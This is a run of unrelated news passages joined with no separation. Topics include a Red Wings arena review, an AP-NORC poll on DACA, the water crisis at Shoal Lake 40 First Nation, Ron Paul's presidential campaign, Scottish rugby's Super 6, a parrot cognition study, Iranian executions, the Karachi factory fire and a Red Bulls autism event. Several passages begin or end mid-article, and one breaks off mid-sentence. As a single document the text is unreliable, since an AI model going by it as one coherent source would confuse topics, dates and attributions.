Lastly, lest we forget, the Wings weren’t exactly a great team last season. Nor have they inspired much optimism heading into this one. To the casual fan, they’re no longer a draw unto themselves, the way they were for all those years at The Joe. The draw, now, is Little Caesars Arena. The Wings are just the price of admission.
Still, the anticipation was high on Thursday night. This was LCA’s coming-out party, its first chance to shine at what it was meant to do: host a hockey game. And the atmosphere fizzled, like a dud fuse. Even toward the end of the game, with the Red Wings salting away a victory — and isn’t this when The Joe was often at its best? — the place felt distant.
Jimmy Howard made a flashy glove save with about three minutes left to spur the fans into a lively rendition of ‘Don’t Stop Believing,’ one constant feeding another, but that celebratory vibe was otherwise missing.
The players all spoke kindly of the atmosphere afterward, as one would expect, but none of them gushed about it. Howard, for his part, hesitated as if there was something on his mind — “Ahh,” he began — before saying amenably, “It was great. It was fun out there.”
That’s not to denigrate what the building is or what it can become, and it’s true that it takes time for a place to find its voice. But if the hope was that the character of The Joe would be transplanted in Little Caesars Arena, Thursday wasn’t a great start.
WASHINGTON (AP) — Just 1 in 5 Americans want to deport young immigrants brought to the United States as children and now here illegally, the focus of a politically fraught debate between the White House and Congress.
Americans also have largely negative opinions about President Donald Trump’s signature immigration pledge to build a wall along the entire U.S.-Mexico border, according to a new poll by The Associated Press-NORC Center for Public Affairs Research. Just under half — 49 percent — oppose construction, while 32 percent support it.
On Sunday, Trump told lawmakers his hardline immigration priorities, including the wall, must be approved if he is to go along with protecting the young immigrants from deportation.
About 800,000 young immigrants had been given a deportation reprieve under President Barack Obama’s Deferred Action for Childhood Arrivals, also known as DACA, until Trump ended the program last month. He’s given Congress six months to act.
About 60 percent of Americans favor allowing those young immigrants, commonly referred as “Dreamers,” to stay in the U.S. legally, compared to 22 percent who are opposed. Just 19 percent of respondents say all these childhood arrivals should be deported.
Sixty-eight percent of Hispanics, 61 percent of blacks and 57 percent of whites favor extending protections. Eight in 10 Democrats favor allowing the young immigrants to stay legally. So do more than 4 in 10 Republicans.
“For the ones who are already here, there should be a way for them to stay because it wasn’t their fault,” said Nik Catello, a 57-year-old independent film producer from Orange County, California. “But you have to give them a path to citizenship.”
Showing sympathy for the young immigrants does not always translate into softer views on immigration. Catello, for example, favors the construction of a wall along the Mexican border.
Among those who favor a border wall, 38 percent also favor allowing “Dreamers” to stay.
“What you see is growing support within the voters overall in giving Dreamers a path to citizenship,” said Todd Schulte, president of FWD.us, an immigration advocacy group founded by Facebook CEO Mark Zuckerberg. “Giving Dreamers the ability to earn citizenship is the most popular bipartisan, not just immigration, issue, the single most united issue in the country.”
When Trump ordered the phase-out of the DACA program last month, he gave 150,000 young immigrants the chance to quickly renew permits that are to expire before March 5. Officials say that more than 35,000 didn’t make his Oct. 5 deadline. And many others will see their status begin expiring after March 5, unless Congress acts before then.
Trump suggested at the time that he was eager for a deal to settle the matter, telling reporters, “I have a love for these people and hopefully now Congress will be able to help them and do it properly.” He also tweeted that if Congress was unwilling to find a fix, he would “revisit this issue!” in six months.
Trump had previously said he wanted a DACA deal to include significant money for border security and eventual funding for the wall. But the priorities released by the White House this week went far beyond that.
The White House’s demands include limiting green cards to spouses and minor children of U.S. citizens and lawful permanent residents, hiring 10,000 more immigration enforcement officers and making it easier to deport unaccompanied children. The White House says the measures are to soften the impact on the U.S. caused by granting benefits to DACA recipients.
Carolyn Kurtz, a 62-year-old retired engineer from Monument City, Colorado, who wants protections for young immigrants, said Trump hasn’t done “the research necessary” on immigration.
“Do I believe that immigration should be more carefully monitored and maybe limited? Yes. But the way he wants to go about it is not the way to do it,” Kurtz said. She called the president’s stance “very close-minded.”
Two-thirds of Americans — 64 percent — say they disapprove of Trump’s handling of immigration, and a similar percentage — 65 percent — say the same of his handling of foreign policy. Both of those are similar to Trump’s overall approval rating.
The poll also revealed more Americans favor than oppose another aspect of Trump’s immigration policy — his latest travel ban. Forty-four percent favor it compared to 37 percent who say they are against the new rules.
In September, the administration announced the most recent restrictions which affect citizens of Chad, Iran, Libya, North Korea, Somalia, Syria, and Yemen — and some Venezuelan government officials and their families. They are to go into effect Oct. 18. It was the administration’s third try at limiting travel after a broader ban sparked chaos in January and was challenged in courts across the country.
The AP-NORC poll of 1,150 adults was conducted Sept. 28-Oct. 2 using a sample drawn from NORC’s probability-based AmeriSpeak panel, which is designed to be representative of the U.S. population. The margin of sampling error for all respondents is plus or minus 4.1 percentage points.
Respondents were first selected randomly using address-based sampling methods, and later interviewed online or by phone.
Gomez Licon reported from Miami. Follow Gomez Licon and Swanson on Twitter at http://www.twitter.com/agomezlicon and http://www.twitter.com/EL_Swan
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A Fresh Fix for Unsafe Water on First Nations Reserves read more
Announcements, Events & more from Tyee and select partners ‘Punch to the Gut’ Musical on Residential Schools Returns to Vancouver Children of God has been shaped by intense audience reactions, says director Corey Payette.
Choppy waves on Shoal Lake rock a small, beached motor boat as two young men haul its load of 20-litre water jugs into a waiting pickup. A few minutes' drive up a dirt road, and the water is delivered, jug by jug, to what used to be the local youth centre. Now this big block of a building is home instead to every drop of drinking water for the 322 residents of the Shoal Lake 40 First Nation, after the floor of their water storage shed buckled and collapsed.
Waiting to receive the blue bottles, amidst the unused pool table and unplugged television, is Stewart Redsky, an alcohol and addictions counsellor. Water is not the only vital stuff hard to come by here, he says. Hope is in short supply, too. "I have to deal with the pain of my people every day," he says. "I have to deal with the frustration of our youth."
It's a frustration the island community has endured now for 100 years. For that long, Shoal Lake 40 First Nation has been completely surrounded by the City of Winnipeg's drinking water supply -- water that no Shoal Lake member can drink from their own taps.
The reasons have to do with how boundaries and responsibilities were decided long ago by the feds, and in more recent decades, threats of water borne infection. The band, which straddles the Ontario-Manitoba border south of the Trans-Canada Highway, has been under a boil-water advisory since 1997.
The people of Shoal Lake 40's thirst for hope is driven by other factors. Substandard housing. A lack of access to jobs off the island. Poor water and sewage treatment. And the fact that crossing the lake during an ice thaw can be deadly.
But lately people here have envisioned, and even begun building, a positive path forward. They call it "Freedom Road."
Tomorrow, Shoal Lake 40 could learn whether the federal government is willing to join in that vision by contributing millions of dollars to the project. Or whether Thursday's scheduled visit by Minister of Natural Resources and Northern Ontario Economic Development Greg Rickford will leave band members where they've been for a century -- isolated, deprived of their surrounding water, and a darkly ironic symbol of how far Canada has yet to travel on its own road towards truth and reconciliation with Indigenous people.
'Pretty damn slow'
Shoal Lake 40's battle against isolation began in 1914, when the City of Winnipeg displaced the First Nation from its historic village site to build a drinking water intake and chlorination plant. With federal blessing, the band was moved onto a roughly 25-square-kilometre peninsula jutting out into the jagged-edged Shoal Lake.
Engineers knew the location wasn't ideal. The nearby Falcon River is full of tannins, difficult-to-remove organic compounds that, when mixed with chlorine, can create cancer-linked trihalomethanes.
So Winnipeg built a dike and canal to separate polluted from potable. In the process, they sliced Shoal Lake 40 in half, effectively creating an island, severing them from their mainland territories, and making residents' water undrinkable. Decades later, an explosion of urban cottages upstream, and their open sewage ponds, would raise the risks further.
Those long ago Winnipeg government decisions about where to build the aqueduct and divert river flow "were all made to preserve water quality," explains the City of Winnipeg's former water manager Tom Pearson, who retired in 2011. On the phone, he told The Tyee that "seen through the lens of the people who were making the decisions," the impact on First Nations were not on the radar a century ago.
An obvious solution would be an on-island water treatment facility, but the feds wouldn't fund it because it's too expensive to build thanks to the lack of road access. Neither could Winnipeg's water simply be siphoned off at the intake because it's treated closer to the city.
The result for Shoal Lake members -- imposed isolation, unequal access to services, and complex and tangled social problems -- is a reality shared by many other First Nations in Canada.
Generations of community leaders, Stewart Redsky laments, have worked to fix their myriad challenges, to little avail.
But things weren't always bleak. Decades ago, the band and its neighbour, Shoal Lake 39 First Nation, were renowned for their economic self-sufficiency. They boasted a thriving commercial fishery, cottage development plans and plentiful bays of wild rice -- harvested by beating the grains with a stick into the bottom of a boat, to be roasted, hulled and sold.
One-by-one, those initiatives were stymied over water and conservation concerns: no cottage developments. No more commercial fishing. Wild rice crops near the reserve dwindled as the lake levels were raised and lowered by authorities. In 1989, Winnipeg and Manitoba offered a $6-million fund in exchange for both Shoal Lake reserves agreeing not to endanger the drinking water with economic initiatives.
As time progressed, Pearson says, the City of Winnipeg's "principle interest" remained "ensuring the water was safe to drink." Hence its concerns about potentially harmful economic First Nations activity. But in the past couple of decades, he said, the city began to seek a more collaborative approach.
"On the other side of the coin, if you happen to be a person living on Shoal Lake 40, it's pretty damn slow," he said.
'No one's going to stop us'
No longer willing to wait, Shoal Lake 40 13 years ago began preparing its own solution. Freedom Road, also called the Western Access Road, would start on the island, bridge the diversion canal to the mainland, and push 28 kilometres west to the Trans-Canada Highway. In so doing, Freedom Road would connect Shoal Lake 40 with jobs and emergency services, and make possible an affordable water treatment plant or storage facility, as well as sewage disposal. The band estimates the total cost of the project to be $25 million.
Tomorrow, when Greg Rickford, the area's MP and a powerful member of cabinet, arrives in Shoal Lake 40, band members will learn whether Stephen Harper's Tory government is willing to chip in a little, a lot, or nothing at all, to building Freedom Road. The governments of Winnipeg and Manitoba have already expressed support.
But the Shoal Lake 40 Nation hasn't waited for governments to make up their minds. Already, they've used scraps of existing funding to get shovels in the ground, putting locals to work and engaging community elders in the process. They've built a temporary steel bridge over the canal that amputated their peninsula from their territories, excavated a gravel quarry on the other side, and are now nearing the end of their designated reserve lands.
Their aim is to keep pushing off-reserve into Manitoba by any means necessary. Realistically, though, the entire project can't be done with the small job-training programs or internal pothole maintenance funding the band has scrounged so far.
Erwin Redsky, Shoal Lake 40's chief since 2002, notes that the initials for the Western Access Road carry a symbolic message. "We called it the W.A.R. because we knew it was going to be a war even just to get support for that road. We kept fighting and fighting for it. We're going to build to the west and no one's going to stop us."
'An incredible story'
Maude Barlow, national chairperson of the Council of Canadians, visited the reserve in April. She's widely known for her campaigning for the right to water, including a stint as senior advisor on water to the UN's General Assembly president.
ISOLATED BAND WEIGHS EAST ENERGY PIPELINE In addition to its 18-year drinking water ban and island isolation, Shoal Lake 40 First Nation faces a new challenge: Trans-Canada’s Energy East gas pipeline -- proposed for conversion to diluted oilsands bitumen -- passes just to Shoal Lake's north. For now, the band can at least boil their contaminated water. Should there be a spill or leak, as opponents fear, they could lose even that. But the First Nation is not yet on the no-pipeline bandwagon. Chief Redsky, mindful first of his nation’s need for jobs, drinking water and a link outside the island, wants more information about the Energy East project's safety. -- D.B.
"I wanted to actually go there and see it for myself," she tells The Tyee. "Here is an incredible story where people who live on the body of water that provides Winnipeg all of its drinking water don't have access to clean water -- they haven't for 18 years.
"The irony cannot be lost on somebody like me who's very involved in getting the UN to recognize the human right to water. We usually think of that in some far-away country but here it is right in our country."
She says she was nervous to cross the melting ice, after hearing about several residents who drowned attempting to cross the lake to reach their reserve.
The solution seemed simple for many years: why not build a bridge across the narrows between the two First Nations? The feds said they'd back it, but around 2002 neighbouring Shoal Lake 39 said no. (That band's chief could not be reached for comment.)
"The Indian Act created those divisions," Chief Redsky said. "Their master plan is to divide us, to make us fight for crumbs. Our communities are being divided rather than the way it was before treaty."
After their neighbours' veto, the chief returned across the water "upset and disappointed" and told his people, "There's no way out but west," he recalls. "Let's build a road to the west. That's when Freedom Road was born."
One of the people who lent his support is Tom Pearson, who admits "More could have been done" over his 28 years working in Winnipeg water management. "I take some responsibility for that."
Building Freedom Road is "not going to solve all the problems" facing the Shoal Lake 40 First Nation, he says, "but at least it gives them something that they've accomplished that they can use as a springboard to resolve the other issues they have.
"The folks that need to step up now to make this happen are the feds. The road would be the first step."
The fact that Shoal Lake 40's water had remained undrinkable for nearly two decades suddenly drew new attention in January when, at the other end of the aqueduct, Winnipeg faced a historic two-day boil-water advisory because of suspected E. coli contamination. For the First Nation, it was just a taste of the thousands of days silently spent under similar orders.
In Shoal Lake's Freedom Road initiative, Maude Barlow sees an example of a trend she is encountering in her travels across Canada. Indigenous communities are offering "a great deal of leadership" in transforming the poisoned cup Canada has poured them, she notes.
Still, Stewart Redsky shares the views of many other Shoal Lake 40 members. He won't invest too much hope in Freedom Road's promise until the federal government pays what it takes to make it happen. He says the debt is owed to his people because Ottawa has jurisdiction for Aboriginal peoples but "failed to protect" the band from Winnipeg's push to secure its water.
He's getting tired of pumping up optimism among his family members, who call him a "broken record." They tell him: "'Come on, Grandpa, you're always talking about hope but there's nothing happening. 'You guys are in the paper, the news media -- does that get food in our cupboards? Does that put hope in our troubled youth?'"
Until there's a public announcement to fully fund the proposed road, "then that's when people will begin to hope again," he says.
On the divide
On a windy, sunny day Stewart Redsky brings along the band's treaty consultation co-ordinator Daryl Redsky (the last name of Redsky is ubiquitous in Shoal Lake 40). The two lead a visitor across the diversion dike that separates Winnipeg's water intake from the tannin-infused water that was diverted through the base of Shoal Lake 40's peninsula a century ago. The colour difference between water on either side of the dike is obvious and striking. On one side, the water destined for Winnipeg reflects the rich blue of a clear sky. On the other side of the dike, the water is tinged reddish brown.
Halfway across the stone dam we reach the water intake's no trespassing sign. Returning landward, we cross the temporary steel bridge across the diversion canal installed by the band. This is where Freedom Road begins. Spanning the canal, just two years ago, "was historic," Chief Redsky says. "That was a big breakthrough. We celebrated."
The City of Winnipeg has agreed to fund a permanent replacement bridge here, so the band's next step is to cross the reserve's edge with a year-round roadway, likely along what's used as a winter-only ice road.
The endeavour has brought out young and old alike from the community. One elder, before he died last year, helped clear the path "almost every day," Chief Redsky recalls. The community pressed on and now Redsky estimates the project reaches "halfway to the highway. That's half of Freedom Road, buddy!"
"Whooo!" yells Daryl Redsky defiantly, as a gust of wind rushes westward to where the road vanishes into the Boreal forest.
"Fifty, 60, 70 years down the road, they can say, 'My grandfather built that road you drove down,'" he predicts. "It's a good feeling for me, to imagine these young men -- their great grandchildren -- saying the same thing.
Ask the pollsters, however, and they'll tell you a different story. Paul has 4 percent support nationally from Republican voters in the most recent CBS News/New York Times poll, which puts him in sixth place. He's doing a bit better in the crucial early voting states of Iowa and New Hampshire - polls in both states put him around 8 percent support - but he remains a long shot to win either contest.
Polling doesn't mean everything, of course, and Paul's backers will tell you that the numbers don't reflect Paul's true levels of support. But even in New Hampshire, where Republicans are famously libertarian-leaning, the congressman may have reached his ceiling, according to University of New Hampshire political scientist Dante Scala.
"There's still a vein of rugged individualism in New Hampshire, especially among Republicans, but I think Paul has tapped into that vein already," says Scala. "I think we've seen as many as he's gonna get."
Still, Paul has the cash to keep his name, and message, front and center: He raised $6 million in a one-day fundraising drive on Sunday, bringing him to $18 million in the past three months, a stunning total for a candidate polling at less than five percent support nationally. He has been running television ads in New Hampshire as part of a $1.1 million ad buy, and has a new spot in production that will be on the air soon, according to his campaign. He has passionate backers willing to do everything they can to spread the Ron Paul gospel - whether via blog comment, YouTube video featuring original music, or giant blimp. And he has vowed to stay in the race until at least Feb. 5th.
All of which means Paul has a real chance to make a difference in who becomes the Republican presidential nominee - even if it's not him. In New Hampshire, independent voters can vote in either party's primary, and Paul, one of the few GOP candidates to break with Republican orthodoxy on a number of issues, is fighting for their support. His main rivals may be two other candidates who appeal to unaffiliated voters: Sen. John McCain and Sen. Barack Obama.
McCain's strategy in the crucial first primary state, in fact, relies largely on winning over independents, who helped him beat George W. Bush by 18 points in the 2000 New Hampshire primary. McCain recently won the endorsement of perhaps the country's most well-known independent - Sen. Joe Lieberman of Connecticut - and has been touring the state with him in an effort to woo independent voters.
Paul and McCain are the sorts of candidates that make traditional Republican primary voters uneasy, in part because of their positions on the war (in Paul's case) and illegal immigration (in McCain's.) But there is one crucial difference, according to Dick Bennett, president of American Research Group: Republican primary voters don't see Paul as a potential winner.
"Undeclared voters want to pick a candidate who has some chance of being president," says Bennett. "The vast majority of those voters don't believe that Paul does."
Bennett characterizes Paul's supporters as "out of the Republican mainstream."
"It's a mixture of old-right conservatives that feel a little disenfranchised with where they Republican Party has gone," says Paul spokesman Jesse Benton. "A lot of independents who are sick and tired of this war and Democrats who won't commit to significant troop level reductions until 2013. And there's a whole new base of supporters, people in their 20s and 30s, who have not been in politics before."
Benton acknowledges the difficulty of convincing traditional Republican voters to support Paul.
"One of the characteristics of being a conservative is loyalty," Benton says. "Conservatives are very loyal. So it's been a difficult conversation to talk to conservatives about this war, especially conservatives who are remaining loyal to the Bush administration and our failed policy in Iraq."
Paul is a polarizing figure: The only GOP candidate who regularly gets booed in debates, he also inspires the kind of rabid support from his supporters you rarely see for more traditional candidates like Mitt Romney.
"I don't think he's anybody's second choice," says Scala. "You either love the guy, think he's the answer to the country's problems, or you've either never heard of the guy and have all these negative perceptions of him."
If the majority of Paul's supporters are truly outsiders to the political process, his presence in the race may not make much difference, since Paul voters wouldn't have broken for a candidate like McCain in the first place. But Paul's campaign, with its decentralized fundraising and unabashed libertarian ethos, has already proven that it can surprise people. Pressed to compare Paul to candidates who have come before him, Scala takes a good ten seconds to answer.
"Steve Forbes was a bit of a libertarian on economic issues, but he's nothing like Paul," says Scala. "There's Pat Buchanan in 1992, but that doesn't really work either. This campaign so far has really been in a class by itself."
The Super 6 is a proposed new tournament for domestic clubs within the competitive playing structure of the Scottish Rugby Union which is set to begin in 2019/20.
The governing body and Chief Executive Mark Dodson unveiled a new strategy and league structure for all rugby clubs in Scotland at the AGM at BT Murrayfield in the summer.
And since then clubs up and down the country have been asking numerous questions about the new-look league, all of which are looked into and explained here
The document’s introduction says of the Super 6: “Its introduction is a key initiative within Scottish Rugby’s Agenda 3 plan to improve the playing standards of club rugby in Scotland, and thus make the top tier of domestic rugby an ever more effective feeder of talent into the full-time professional game.
“This will support Scotland’s aim of keeping its standards of play, at all levels of the game, abreast of its international peers, and keeping secure its place amongst rugby’s leading nations.
“Agenda 3 allows a period of time for this to be achieved. Also a part of Agenda 3, and equally important, is the introduction of the Super 6 Tournament, which is designed to respond to the long standing concerns held by many clubs on matters like the sustainability of club finances, greater investment by the SRU in the domestic game, clearer and better pathways for developing and rewarding the talent in clubs, and stimulating spectator appetite for exciting play which will in its turn increase public interest in our game.
“The purpose of this document is to invite applications for the six franchises and to provide information about the requirements and terms of membership of the Super 6 Tournament.”
Super 6: key dates to come
December 20 2017: Application forms available
March 30 2018: Applications will close
May 1 2018: Names of the franchisees will be announced
July 1 2019: Launch season begins (playing season on September 7)
We will have plenty on this topic as it progresses in the coming months in both print and online
Keep It SCRUM’ for the news and views from all areas of the game – view SCRUM 100 here
A new experiment, though, might make us recognize that an entirely different species belongs in this exclusive group: the African grey parrot.
In several previous experiments, researchers claimed they’d revealed the ability of parrots to make inferences based on their skill in completing an extremely simple task. The animals were shown a pair of closed canisters, one with food inside and one empty, and the top of the empty one was briefly opened. Afterward, when they were given the chance to choose one or the other, they reliably selected the one with food. Critics, though, said that this didn’t necessarily demonstrate any sort of inferential reasoning—they could simply be avoiding the empty canister, rather than realizing its emptiness implied there was food in the other.
In the new study, however, published yesterday in the Proceedings of the Royal Society B, researchers from the University of Vienna gave six grey parrots a slightly more complex task. Instead of being shown an empty and a full canister, the researchers merely shook one of the containers, so the parrots could hear either the sound of walnuts rattling around inside or silence.
When given the chance to select a canister, the parrots consistently chose the one with the walnuts, whether they had heard the shaking of either container. They were able, therefore, to determine both that a noisy shaking meant “food is inside” and that a noiseless shaking meant “no food is inside, so it must be in the other one.”
To confirm that the parrots were actually making inferences about the location of food, and not merely avoiding a silent box, the researchers introduced one more variation to the task. Instead of using the actual canisters to make the noises, they wore small speakers on their wrists that emitted shaking noises. In some cases, they shook the box in their right hand, but emitted the shaking noises from a speaker on their left wrist; in other cases, they played the sounds from the correct side. The parrots only made the right selection on a consistent basis when the sound lined up with the shaking—so they were making an inference not based on a visual or aural cue alone, but from noting the connection between both.
Although this might not seem that impressive, no other non-primate species has been able to successfully complete this type of task, and humans are not typically able to do this until they reach three years of age. The fact that the parrots were able to make these sorts of judgements based on sounds associated with food—and visuals that would logically produce the sounds—confirms that they are indeed capable of abstract, inferential reasoning. ”It suggests that grey parrots have some understanding of causality and that they can use this to reason about the world,” lead author Christian Schloegl told LiveScience.
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According to Sergio Irey’s mother, the 21-year-old Florida man is unemployed, lives at home rent-free, does not help out with household chores or bills, has allowed his college grades to plummet, and “spends all his time with a girl who is a bad influence on him.”
Sergio’s loafing does not sit well with Rocio Irey, 45, who has explained to her son that he “needs to get his life on track, straighten up, get a job and start helping around the house,” police report.
Police report this because last night Rocio and Sergio (pictured at right in happier times) were arguing about his reported layabout ways in their Sarasota home.
Rocio told a Manatee County Sheriff’s Office deputy that she became angered at her son “because he was not listening to her, he was back talking to her and he was being disrespectful by interrupting her and ignoring her.”
So a frustrated Rocio slapped her son across the face twice, explaining, “I slapped him because he was being disrespectful to me, I’m his mother.”
Sergio--who later acknowledged his churlish behavior--responded by calling the cops on his mother because he “became scared of her and didn’t know what else to do.”
Though Sergio was uninjured by the slaps, Florida state law required that “the aggressor be arrested” for domestic battery. So Rocio, seen in the adjacent mug shot, was handcuffed and transported to the county jail, where she remains locked up.
Tehran (AsiaNews) – The Iranian regime continues to eliminate leading figures from the 2009 social protest movement, known as the “green wave”, causing few ripples across the world. The authorities confirmed that this morning two political activists, Jafar Kazemi and Mohammad Ali Hajaghaei, were hanged, the Tehran prosecutor's office announced. They had been arrested during the demonstrations against President Ahmadinejad’s re-election. US Secretary of State Hillary Clinton had urged Iranian authorities to show clemency but to no avail.
And so the crackdown against demonstrators continues. Ayatollah Vaez Tabasi, the custodian of Imam Reza shrine, renewed his attacks green wave leaders, calling them “seditious leaders who fight against Islam to promote ignorance and oppose Iran’s supreme leader”.
Speaking at a ceremony commemorating the shrine’s foundation, the ayatollah said “severe measures” should be taken against demonstrators.
With the latest hangings, the total number of executions has reached 99 in the past month.
Official sources show that Iranian courts sentenced to death alleged terrorists, drug traffickers and “seditious leaders” between 19 December and 24 January. On 22 December 2010 alone, 22 executions were carried—the single bloodiest day in the country’s modern history.
At the same time, fears are growing that extra-judicial executions are being carried out on an almost daily basis, unreported in official data.
Most Democrats back hate speech ban in poll; conservatism equated with hate
51% of Democrats back a ban on “hate speech,” while only 21% oppose such a ban, in a recent You.Gov poll. This is disturbing because to many liberals, commonplace conservative views qualify as “hate speech.” Under campus hate speech and “harassment” codes, students have wrongly been subjected to campus disciplinary proceedings, in violation of the First Amendment, merely for expressing commonplace opinions about sexual and racial issues, such as criticizing feminism or affirmative action, or discussing homosexuality or the racial implications of the death penalty. (See the examples cited in the Amicus Curiae brief of Students for Individual Liberty filed in Davis v. Monroe County Board of Education, available in the Westlaw database at 1998 WL 847365.)
In July, U.S. Civil Rights Commission member Michael Yaki, a staunch liberal, declared that speech on college campuses, including but not limited to “hate speech,” should be restricted to protect young people’s developing brains. Yaki is a former senior advisor and district director for House Minority Leader (and former Speaker) Rep. Nancy Pelosi (D-Calif.). (During the Obama administration, the Education and Justice Departments have also sought to restrict students’ free speech and due process rights on college campuses and in the public schools). Yaki argued that “how the juvenile or . . . young adult brain processes information is vastly different from the way that we [older] adults do.”
The deal will see Clarke launch a line of modified baseball mitts, designed with the Australia captain's input specifically for cricket fielding drills, later this year.
Clarke started the Australian cricketers' trend of wearing fielding gloves during drills and warm-ups on the advice of Mike Young, the team's American fielding consultant coach. That, and Young's use of a baseball mitt to assist in fielding drills, has prompted Rawlings to sign up the Aussie skipper to develop a new cricket range.
Clarke will travel to the US next month to help with the design process and the US company, which has been making baseball mitts since 1887, is expected to launch a Clarke-endorsed modified mitt for cricket fielding drills, along with thin gloves to use during catching practice (as pictured above).
The announcement comes as Australia's interest in baseball has been piqued by the transformation of the SCG for the visit of Major League Baseball teams the LA Dodgers and Arizona Diamondbacks.
"I'm honored to be able to partner with such an iconic American brand," Clarke said in a statement released by Rawlings. "I'm excited about this partnership with Rawlings, my visit to the United States next month, and developing the Michael Clarke line of Rawlings fielders' gloves."
It's not yet clear if Rawlings will attempt to revolutionise wicketkeeping gloves in line with a baseball feel, and any attempt would require a change in the Laws of Cricket with strict conditions governing the gloves wicketkeepers can use.
At the factory, known as Ali Enterprises, rescue workers quenched the last flames 48 hours after they started. Volunteers cast bundles of smoldering jeans from a first-floor window.
Meanwhile, the police spent a second day hunting for the factory’s three owners, who now face possible charges of conspiracy to commit murder.
Mirza Ikhtiar Baig, the prime minister’s adviser on textiles, noted in a statement that after the first fire engine reached the scene on Tuesday, firefighters found that the manager had ordered the gates to be closed, “not allowing anyone to leave the premises without checking.”
Instead, up to 600 factory workers were left with just one open exit, or forced to take their chances plunging from windows considered too high to require bars.
Inside the factory, warmth still glowed from the pitch-black basement where many workers perished from smoke inhalation.
Muhammad Raheel, a rescuer, said he helped recover 30 bodies before fainting and having to be carried out on a stretcher. “I still have visions in my head,” he said. “It is impossible to forget.”
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The disaster was a blow to an already struggling city: Karachi, a bustling megalopolis of an estimated 18 million people that has come to represent both the immense promise of Pakistan and its tragic failings.
For decades, Karachi and its growing factory sector have been a magnet for migrants, both from outside Pakistan’s borders and within them.
Afghans and Iranians arrived in huge numbers in the 1980s, fleeing war in their homelands. Recent years have seen a strong flow of ethnic Pashtuns from the Taliban-affected areas of northwestern Pakistan, as well as refugees from surrounding areas of Sindh Province displaced by the floods of 2010 and 2011.
The Ali Enterprise factory was a microcosm of Karachi. “We had Biharis, Gujratis, Baloch, Sindhi, Pashtuns, Urdu-speakers, Punjabis,” one survivor said. “Everyone worked here in peace.”
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But that harmony has often been missing from the city’s streets, plagued by increasing violence in recent years: sectarian blood baths, criminal score-settling, militant atrocities and the bloody rivalry among the city’s ethnically divided political parties.
Activists from the Muttahida Qaumi Movement, the city’s most powerful and muscular political party, led cleanup efforts at the stricken factory on Thursday.
Karachi’s ambitions have also been thwarted by the faltering authority of the local or federal governments, which have failed to enforce the most basic workplace standards.
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In theory, Pakistan’s laws offer strong protections to workers, but application is notoriously weak. In textiles, which account for 53 percent of exports, employers routinely sidestep health and safety regulations through bribery and corruption.
“The state inspectors can make a lot of extra money,” said Sharafat Ali, an activist with the Pakistan Institute of Labor Education and Research, which has documented abuses in the textile industry. “They have lifestyles that go beyond their wages.”
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The lack of regulation was apparent inside the factory, which contained space for fire extinguishers that had failed and directions to emergency exits that were locked.
“There was no safety in there, no fire equipment,” said Khwaja Sohail Mansoor, a local lawmaker, who stood near a fire truck outside the factory.
Survivors of the blaze said rule-breaking was the norm at the plant, where many worked 12-hour shifts and were paid as little as $58 per month — one-third less than the statutory minimum.
German-language labels on bundles of denim that survived the blaze carried a brand named “Okay Men.” And workers at the factory said they had been forced to lie about their working conditions to auditors representing foreign buyers.
Hafeeza Bano, a 35-year-old with burn wounds on her leg and arm, said she had to misrepresent her working hours and pay or face the threat of dismissal. “The owners were very cruel, and very greedy,” she said.
Those men — identified as Abdul Aziz, Mohammad Arshad and Shahid Bhaila, and sought for arrest — have yet to be found.
A thread of outrage ran through news coverage. “Hundreds saw hell on Earth” read the banner headline in Dawn, the leading English-language paper.
On Thursday, the Sindh Province labor minister resigned. Hours later, the government announced that a retired judge would lead an investigation tasked with delivering initial findings next week. But few here believed it would amount to much.
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“We need to do more than change the faces — we need to change the policies,” said Farida Bibi, who lost her 26-year-old son. “Then we need to hang the men who owned this factory.”
Alarmed at the wave of public anger, other textile manufacturers sought to distance themselves from their actions.
“We are shellshocked by what happened, and these people need to be held accountable,” said Shehzad Saleem, chairman of the Pakistan Garment Exporters and Manufacturers Association. “But everyone needs to calm down and let the investigation take place.”
The Muttahida Qaumi Movement called for three days of mourning, but the city is expected to be back on its feet soon. Karachi’s resilience is a point of pride, and normal life, of a sort, has tended to quickly resume after floods and bombings.
By their estimation, they have given at least $1 million and thousands of hours of their time to nonprofits focused on children with autism, which afflicts their youngest child, Sonya.
But a year and a half ago the couple and their children, all Muslim, began working on a larger gift in terms of money, impact and risk: Their goal was to fund something that would foster better understanding of religion, including Islam, Judaism and Christianity, with the belief that all religions should be treated with equal respect.
score a goal, even if she has to wear sound-dampening headphones so the noise does not overwhelm her. She loves to run onto the field and hug the players that she calls "my boys," even if her mother has to take her inside during the fireworks after night games. Julia is on the autistic spectrum, but her parents wanted to make sure she had access to everything in life that her older brother has. Since her father is Marc de Grandpre, the general manager of the MLS team that calls Harrison home, that meant access to Red Bull Arena ... which, on game days, can be a challenge. Now, as part of Autism Awareness Month, the Red Bulls will do everything possible to make their arena as inviting as possible for young fans on the autistic spectrum and their families. That includes a special cheering section for their match on April 17, and a safe zone inside the stadium for the children who need a quiet place. "Is it going to be difficult to create a perfect environment for them? Yes," de Grandpre said, but he expects more than a thousand families with autistic children to attend the match against the San Jose Earthquakes. This is just one event the team has planned for the month, which starts Thursday with World Autism Awareness Day. Everyone in the Red Bulls organization, from front office staffers to the players, will turn in their usual red for blue as part of Autism Speaks' national "Light It Up Blue" campaign. Even Red Bull Arena, with its video boards and LEDs, will take on a completely different look. De Grandpre hopes the Red Bulls can be a small part of a bigger campaign that will continue to raise awareness about the mystery that is autism. He hopes the national effort will lead to more funding, more research, and among the general public, a better understanding of children on the spectrum. "These kids can grow to be successful young adults," the GM said. "They may be a little different, but they all have something to offer. They all have some gifts within their challenges. We've just got to find that magic within them and let them run with it." He has seen that magic in his daughter. De Grandpre and his wife, Kim, were living in Atlanta when they received a call from her preschool teacher. Julia, she told them, was spending most of the day on the periphery of the classroom, not interacting with the other children. The parents had figured their daughter was a late bloomer and a maybe a little shy. "That's when we started to get worried," Marc de Grandpre said. "She was seeing things that she had seen with kids on the spectrum before." De Grandpre said he daughter is an affectionate child who loves to hug, but one who "has her moments when something goes wrong and all hell breaks loose for everyone." When he returned to the Red Bulls last April for his second stint as GM, his daughter found a comfort zone around the team. The players have helped with that, he said, with most more than willing to spend time with her — including her favorite, midfielder Dax McCarty. "She thinks Dax is in One Direction," de Grandpre said with a laugh. "Always wants to give him a kiss." Julia will be there on April 17, ready once again to watch "her boys." This time, she'll be sitting in a section with more than a thousand kids like her, cheering for the Red Bulls at an event she helped inspire. And one, her father hopes, that will inspire others.
For more information on the April 17th game, visit the official Red Bulls site.
